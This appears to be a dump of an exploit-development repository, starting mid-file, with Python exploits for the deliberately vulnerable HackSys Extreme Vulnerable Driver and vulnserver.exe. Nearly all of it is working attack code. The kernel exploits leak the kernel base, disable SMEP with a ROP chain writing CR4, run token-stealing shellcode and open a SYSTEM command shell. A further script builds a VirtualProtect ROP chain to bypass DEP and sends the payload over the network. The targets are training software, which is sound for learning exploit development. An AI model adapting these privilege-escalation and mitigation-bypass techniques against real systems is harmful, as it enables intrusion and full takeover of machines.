 55 | base = (c_ulonglong * 1024)()
 56 | 
 57 | print "[+] Calling EnumDeviceDrivers()..."
 58 | 
 59 | get_drivers = psapi.EnumDeviceDrivers(
 60 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 61 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
 62 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 63 | )
 64 | 
 65 | # Error handling if function fails
 66 | if not base:
 67 |     print "[+] EnumDeviceDrivers() function call failed!"
 68 |     sys.exit(-1)
 69 | 
 70 | # The first entry in the array with device drivers is ntoskrnl base address
 71 | kernel_address = base[0]
 72 | 
 73 | print "[+] Found kernel leak!"
 74 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 75 | 
 76 | # Offset to ret overwrite
 77 | input_buffer = ("\x41" * 2056)
 78 | 
 79 | # SMEP says goodbye
 80 | print "[+] Starting ROP chain. Goodbye SMEP..."
 81 | input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 82 | 
 83 | print "[+] Flipped SMEP bit to 0 in RCX..."
 84 | input_buffer += struct.pack('<Q', 0x506f8)           		# Intended CR4 value
 85 | 
 86 | print "[+] Placed disabled SMEP value in CR4..."
 87 | input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 88 | 
 89 | print "[+] SMEP disabled!"
 90 | input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 91 | 
 92 | input_buffer_length = len(input_buffer)
 93 | 
 94 | # 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
 95 | # Getting handle to driver to return to DeviceIoControl() function
 96 | print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
 97 | handle = kernel32.CreateFileA(
 98 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
 99 |     0xC0000000,                         # dwDesiredAccess
100 |     0,                                  # dwShareMode
101 |     None,                               # lpSecurityAttributes
102 |     0x3,                                # dwCreationDisposition
103 |     0,                                  # dwFlagsAndAttributes
104 |     None                                # hTemplateFile
105 | )
106 | 
107 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
108 | print "[+] Interacting with the driver..."
109 | kernel32.DeviceIoControl(
110 |     handle,                             # hDevice
111 |     0x222003,                           # dwIoControlCode
112 |     input_buffer,                       # lpInBuffer
113 |     input_buffer_length,                # nInBufferSize
114 |     None,                               # lpOutBuffer
115 |     0,                                  # nOutBufferSize
116 |     byref(c_ulong()),                   # lpBytesReturned
117 |     None                                # lpOverlapped
118 | )
119 | 
120 | os.system("cmd.exe /k cd C:\\")
121 | 


--------------------------------------------------------------------------------
/Kernel/Stack Overflow/x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py:
--------------------------------------------------------------------------------
  1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Stack Overflow/SMEP Enabled)
  2 | # Author: Connor McGarr
  3 | 
  4 | import struct
  5 | import sys
  6 | import os
  7 | from ctypes import *
  8 | 
  9 | kernel32 = windll.kernel32
 10 | ntdll = windll.ntdll
 11 | psapi = windll.Psapi
 12 | 
 13 | 
 14 | payload = bytearray(
 15 |     "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
 16 |     "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
 17 |     "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
 18 |     "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
 19 |     "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
 20 |     "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
 21 |     "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
 22 |     "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
 23 |     "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
 24 |     "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
 25 |     "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
 26 |     "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
 27 |     "\xC3"                                              # ret                 ; Done!
 28 | )
 29 | 
 30 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
 31 | # We also need to bypass SMEP before calling this shellcode
 32 | print "[+] Allocating RWX region for shellcode"
 33 | ptr = kernel32.VirtualAlloc(
 34 |     c_int(0),                         # lpAddress
 35 |     c_int(len(payload)),              # dwSize
 36 |     c_int(0x3000),                    # flAllocationType
 37 |     c_int(0x40)                       # flProtect
 38 | )
 39 | 
 40 | # Creates a ctype variant of the payload (from_buffer)
 41 | c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 42 | 
 43 | print "[+] Copying shellcode to newly allocated RWX region"
 44 | kernel32.RtlMoveMemory(
 45 |     c_int(ptr),                       # Destination (pointer)
 46 |     c_type_buffer,                    # Source (pointer)
 47 |     c_int(len(payload))               # Length
 48 | )
 49 | 
 50 | # Need kernel leak to bypass KASLR
 51 | # Using Windows API to enumerate base addresses
 52 | # We need kernel mode ROP gadgets
 53 | 
 54 | # c_ulonglong because of x64 size (unsigned __int64)
 55 | base = (c_ulonglong * 1024)()
 56 | 
 57 | print "[+] Calling EnumDeviceDrivers()..."
 58 | 
 59 | get_drivers = psapi.EnumDeviceDrivers(
 60 |     byref(base),                      # lpImageBase (array that receives list of addresses)
 61 |     sizeof(base),                     # cb (size of lpImageBase array, in bytes)
 62 |     byref(c_long())                   # lpcbNeeded (bytes returned in the array)
 63 | )
 64 | 
 65 | # Error handling if function fails
 66 | if not base:
 67 |     print "[+] EnumDeviceDrivers() function call failed!"
 68 |     sys.exit(-1)
 69 | 
 70 | # The first entry in the array with device drivers is ntoskrnl base address
 71 | kernel_address = base[0]
 72 | 
 73 | print "[+] Found kernel leak!"
 74 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 75 | 
 76 | # Offset to ret overwrite
 77 | input_buffer = ("\x41" * 2056)
 78 | 
 79 | # SMEP says goodbye
 80 | print "[+] Starting ROP chain. Goodbye SMEP..."
 81 | input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 82 | 
 83 | print "[+] Flipped SMEP bit to 0 in RCX..."
 84 | input_buffer += struct.pack('<Q', 0x506f8)           		# Intended CR4 value
 85 | 
 86 | print "[+] Placed disabled SMEP value in CR4..."
 87 | input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 88 | 
 89 | print "[+] SMEP disabled!"
 90 | input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 91 | 
 92 | input_buffer_length = len(input_buffer)
 93 | 
 94 | # 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
 95 | # Getting handle to driver to return to DeviceIoControl() function
 96 | print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
 97 | handle = kernel32.CreateFileA(
 98 |     "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
 99 |     0xC0000000,                         # dwDesiredAccess
100 |     0,                                  # dwShareMode
101 |     None,                               # lpSecurityAttributes
102 |     0x3,                                # dwCreationDisposition
103 |     0,                                  # dwFlagsAndAttributes
104 |     None                                # hTemplateFile
105 | )
106 | 
107 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
108 | print "[+] Interacting with the driver..."
109 | kernel32.DeviceIoControl(
110 |     handle,                             # hDevice
111 |     0x222003,                           # dwIoControlCode
112 |     input_buffer,                       # lpInBuffer
113 |     input_buffer_length,                # nInBufferSize
114 |     None,                               # lpOutBuffer
115 |     0,                                  # nOutBufferSize
116 |     byref(c_ulong()),                   # lpBytesReturned
117 |     None                                # lpOverlapped
118 | )
119 | 
120 | os.system("cmd.exe /k cd C:\\")
121 | 


--------------------------------------------------------------------------------
/Kernel/Stack Overflow/x86_HEVD_Windows_7_Stack_Overflow.py:
--------------------------------------------------------------------------------
 1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x86 Stack Overflow)
 2 | # Author: Connor McGarr
 3 | 
 4 | import struct
 5 | import sys
 6 | import os
 7 | from ctypes import *
 8 | from subprocess import *
 9 | 
10 | # Here, there is going to be a new function for each of the Windows API call.
11 | 
12 | # CreateFileA parameters
13 | # HANDLE CreateFileA(
14 | #   LPCSTR                lpFileName,
15 | #   DWORD                 dwDesiredAccess,
16 | #   DWORD                 dwShareMode,
17 | #   LPSECURITY_ATTRIBUTES lpSecurityAttributes,
18 | #   DWORD                 dwCreationDisposition,
19 | #   DWORD                 dwFlagsAndAttributes,
20 | #   HANDLE                hTemplateFile
21 | # );
22 | 
23 | kernel32 = windll.kernel32
24 | 
25 | print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
26 | 
27 | handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
28 | 
29 | if not handle or handle == -1:
30 |     print "[+] Cannot get device handle..... Try again."
31 |     sys.exit(0)
32 | 
33 | payload = ""
34 | payload += bytearray(
35 |     "\x60"                            # pushad
36 |     "\x31\xc0"                        # xor eax,eax
37 |     "\x64\x8b\x80\x24\x01\x00\x00"    # mov eax,[fs:eax+0x124]
38 |     "\x8b\x40\x50"                    # mov eax,[eax+0x50]
39 |     "\x89\xc1"                        # mov ecx,eax
40 |     "\xba\x04\x00\x00\x00"            # mov edx,0x4
41 |     "\x8b\x80\xb8\x00\x00\x00"        # mov eax,[eax+0xb8]
42 |     "\x2d\xb8\x00\x00\x00"            # sub eax,0xb8
43 |     "\x39\x90\xb4\x00\x00\x00"        # cmp [eax+0xb4],edx
44 |     "\x75\xed"                        # jnz 0x1a
45 |     "\x8b\x90\xf8\x00\x00\x00"        # mov edx,[eax+0xf8]
46 |     "\x89\x91\xf8\x00\x00\x00"        # mov [ecx+0xf8],edx
47 |     "\x61"                            # popad
48 |     "\x5d"                            # pop ebp
49 |     "\xc2\x08\x00"                    # ret 0x8
50 | )
51 | 
52 | # DeviceIoControl parameters
53 | # BOOL DeviceIoControl(
54 | #  HANDLE       hDevice,
55 | #  DWORD        dwIoControlCode,
56 | #  LPVOID       lpInBuffer,
57 | #  DWORD        nInBufferSize,
58 | #  LPVOID       lpOutBuffer,
59 | #  DWORD        nOutBufferSize,
60 | #  LPDWORD      lpBytesReturned,
61 | #  LPOVERLAPPED lpOverlapped
62 | # );
63 | 
64 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
65 | print "[+] Allocating RWX region for shellcode"
66 | 
67 | pointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))
68 | buf = (c_char * len(payload)).from_buffer(payload)
69 | 
70 | print "[+] Copying shellcode to newly allocated RWX region"
71 | kernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))
72 | shellcode = struct.pack("<L",pointer)
73 | 
74 | buffer = "A"*2080 + shellcode
75 | buffer_length = len(buffer)
76 | 
77 | # 0X222003 = IOCTL code that will jump to TriggerStackOverflow() function
78 | kernel32.DeviceIoControl(handle, 0x222003, buffer, buffer_length, None, 0, byref(c_ulong()), None)
79 | 
80 | # Using "start cmd" instead of cmd.exe because start.cmd opens a new cmd.exe process
81 | print "[+] NT AUTHORITY\SYSTEM shell opening. Enjoy!"
82 | 
83 | Popen("start cmd", shell= True)
84 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Exploit Development #
 2 | 
 3 | A collection of exploits, in both kernel mode and user mode. Please see [Kernel Exploits](https://github.com/connormcgarr/Kernel-Exploits) for exploits written in C. 
 4 | 
 5 | ## Mitigation Bypasses ##
 6 | 1. DEP Bypass
 7 | 2. ASLR Bypass
 8 | 4. kASLR Bypass
 9 | 5. SMEP Bypass
10 | 6. Page Table Randomization Bypass
11 | 


--------------------------------------------------------------------------------
/ROP/README.md:
--------------------------------------------------------------------------------
1 | ROP
2 | ---
3 | 
4 | ROP with no ASLR on vulnserver.exe
5 | 


--------------------------------------------------------------------------------
/ROP/VirtualProtect.py:
--------------------------------------------------------------------------------
  1 | # vulnserver.exe DEP bypass
  2 | # https://github.com/stephenbradshaw/vulnserver
  3 | # Author: Connor McGarr (@33y0re) (https://connormcgarr.github.io)
  4 | # ROP'd this bad boy by hand (sorry mona)
  5 | # Windows 7
  6 | # In muts we trust.
  7 | import struct
  8 | import sys
  9 | import os
 10 | import socket
 11 | 
 12 | # Vulnerable command
 13 | command = "TRUN ."
 14 | 
 15 | # 2006 byte offset to EIP
 16 | crash = "\x41" * 2006
 17 | 
 18 | # Stack Pivot (returning to the stack without a jmp/call)
 19 | crash += struct.pack('<L', 0x62501022)    # ret essfunc.dll
 20 | 
 21 | # Beginning of ROP chain
 22 | 
 23 | # Saving ESP into ECX and EAX
 24 | rop = struct.pack('<L', 0x77bf58d2)  # 0x77bf58d2: push esp ; pop ecx ; ret  ;  (1 found)
 25 | rop += struct.pack('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret  ;  (1 found)
 26 | 
 27 | # Jump over parameters
 28 | rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret  ;  (1 found)
 29 | 
 30 | # Calling VirtualProtect with parameters
 31 | parameters = struct.pack('<L', 0x77e22e15)    # kernel32.VirtualProtect()
 32 | parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
 33 | parameters += struct.pack('<L', 0x45454545)    # lpAddress
 34 | parameters += struct.pack('<L', 0x03030303)    # size of shellcode
 35 | parameters += struct.pack('<L', 0x54545454)    # flNewProtect
 36 | parameters += struct.pack('<L', 0x62506060)    # pOldProtect (any writeable address)
 37 | 
 38 | # Padding to reach gadgets
 39 | padding = "\x90" * 4
 40 | 
 41 | # add esp, 0x1C + ret will land here
 42 | # Increase ECX C bytes (ECX right now contains old ESP) to equal address of the VirtualProtect return address place holder
 43 | # (no pointers have been created yet)
 44 | rop2 = struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 45 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 46 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 47 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 48 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 49 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 50 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 51 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 52 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 53 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 54 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 55 | rop2 += struct.pack ('<L', 0x77e17270)   # 0x77e17270: inc ecx ; ret  ;  (1 found)
 56 | 
 57 | # Move ECX into EDX, and increase it 4 bytes to reach location of VirtualProtect lpAddress parameter
 58 | # (no pointers have been created yet. Just preparation)
 59 | # Now ECX contains the address of the VirtualProtect return address
 60 | # Now EDX (after the inc edx instructions), contains the address of the VirtualProtect lpAddress location
 61 | rop2 += struct.pack ('<L', 0x6ffb6162)  # 0x6ffb6162: mov edx, ecx ; pop ebp ; ret  ;  (1 found)
 62 | rop2 += struct.pack ('<L', 0x50505050)  # padding to compensate for pop ebp in the above ROP gadget
 63 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
 64 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
 65 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
 66 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
 67 | 
 68 | # Increase EAX, which contains old ESP, to equal around the address of shellcode
 69 | # Determine how far shellcode is away, and add that difference into EAX, because
 70 | # EAX is being used for calculations
 71 | rop2 += struct.pack('<L', 0x6ff7e29a)    # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
 72 | rop2 += struct.pack('<L', 0x41414141)    # padding to compensate for pop ebp in the above ROP gadget
 73 | rop2 += struct.pack('<L', 0x6ff7e29a)    # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
 74 | rop2 += struct.pack('<L', 0x41414141)    # padding to compensate for pop ebp in the above ROP gadget
 75 | 
 76 | # Replace current VirtualProtect return address pointer (the placeholder) with pointer to shellcode location
 77 | rop2 += struct.pack ('<L', 0x6ff63bdb)   # 0x6ff63bdb mov dword [ecx], eax ; pop ebp ; ret  ;  (1 found)
 78 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the above ROP gadget
 79 | 
 80 | # Replace VirtualProtect lpAddress placeholder with pointer to shellcode location
 81 | rop2 += struct.pack ('<L', 0x77e942cb)   # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ;  (1 found)
 82 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop esi instruction in the last ROP gadget
 83 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the last ROP gadget
 84 | 
 85 | # Preparing the VirtualProtect size parameter (third parameter)
 86 | # Changing EAX to equal the third parameter, size (0x300).
 87 | # Increase EDX 4 bytes (to reach the VirtualProtect size parameter placeholder.)
 88 | # Remember, EDX currently is located at the VirtualProtect lpAddress placeholder.
 89 | # The size parameter is located 4 bytes after the lpAddress parameter
 90 | # Lastly, point EAX to new EDX
 91 | rop2 += struct.pack ('<L', 0x41ad61cc)   # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
 92 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the lpAddress ROP gadget
 93 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the lpAddress ROP gadget
 94 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the lpAddress ROP gadget
 95 | rop2 += struct.pack ('<L', 0x6ff7e29a)   # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
 96 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the above ROP chain
 97 | rop2 += struct.pack ('<L', 0x6ff7e29a)   # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
 98 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the above ROP chain
 99 | rop2 += struct.pack ('<L', 0x6ff7e29a)   # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  (1 found)
100 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the above ROP chain
101 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
102 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
103 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
104 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
105 | rop2 += struct.pack ('<L', 0x77e942cb)   # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ;  (1 found)
106 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop esi instruction in the above ROP gadget
107 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for pop ebp instruction in the above ROP gadget
108 | 
109 | # Preparing the VirtualProtect flNewProtect parameter (fourth parameter)
110 | # Changing EAX to equal the fourth parameter, flNewProtect (0x40)
111 | # Increase EDX 4 bytes (to reach the VirtualProtect flNewProtect placeholder.)
112 | # Remember, EDX currently is located at the VirtualProtect size placeholder.
113 | # The flNewProtect parameter is located 4 bytes after the size parameter.
114 | # Lastly, point EAX to the new EDX
115 | rop2 += struct.pack ('<L', 0x41ad61cc)  # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
116 | rop2 += struct.pack ('<L', 0x41414141)  # padding to compensate for retn 0x000C in the size ROP gadget
117 | rop2 += struct.pack ('<L', 0x41414141)  # padding to compensate for retn 0x000C in the size ROP gadget
118 | rop2 += struct.pack ('<L', 0x41414141)  # padding to compensate for retn 0x000C in the size ROP gadget
119 | rop2 += struct.pack ('<L', 0x77bd6b18)	# 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
120 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
121 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
122 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
123 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
124 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
125 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
126 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
127 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
128 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
129 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
130 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
131 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
132 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
133 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
134 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
135 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
136 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
137 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
138 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
139 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
140 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
141 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
142 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
143 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
144 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
145 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
146 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
147 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
148 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
149 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
150 | rop2 += struct.pack ('<L', 0x77bd6b18)  # 0x77bd6b18: add eax, 0x02 ; ret  ;  (1 found)
151 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
152 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
153 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
154 | rop2 += struct.pack ('<L', 0x77f226d5)  # 0x77f226d5: inc edx ; ret  ;  (1 found)
155 | rop2 += struct.pack ('<L', 0x77e942cb)  # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ;  (1 found)
156 | rop2 += struct.pack ('<L', 0x41414141)  # padding to compensate for pop esi instruction in the above ROP gadget
157 | rop2 += struct.pack ('<L', 0x41414141)  # padding to compensate for pop ebp instruction in the above ROP gadget
158 | 
159 | # Now we need to return to where the VirutalProtect call is on the stack.
160 | # ECX contains a value around the old stack pointer at this time (from the beginning). Put ECX into EAX
161 | # and decrement EAX to get back to the function call- and then load EAX into ESP.
162 | # Restoring the old stack pointer here.
163 | rop2 += struct.pack ('<L', 0x77e4a5e6)   # 0x77e4a5e6: mov eax, ecx ; ret  ;  (1 found)
164 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
165 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
166 | rop2 += struct.pack ('<L', 0x41414141)   # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
167 | rop2 += struct.pack ('<L', 0x41ac863b)   # 0x41ac863b: dec eax ; dec eax ; ret  ;  (1 found)
168 | rop2 += struct.pack ('<L', 0x41ac863b)  # 0x41ac863b: dec eax ; dec eax ; ret  ;  (1 found)
169 | rop2 += struct.pack ('<L', 0x77d6fa6a)   # 0x77d6fa6a: xchg eax, esp ; ret  ;  (1 found)
170 | 
171 | # Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
172 | padding2 = "\x90" * 250
173 | 
174 | # calc.exe POC payload created with the Windows API system() function.
175 | # You can replace this with an msfvenom payload if you would like
176 | shellcode = "\x31\xc0\x50\x68"
177 | shellcode += "\x63\x61\x6c\x63"
178 | shellcode += "\x54\xbe\x77\xb1"
179 | shellcode += "\xfa\x6f\xff\xd6"
180 | 
181 | # 5000 byte total crash
182 | filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
183 | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
184 | s.connect(("172.16.55.148", 9999))
185 | s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
186 | s.close()
187 | 


--------------------------------------------------------------------------------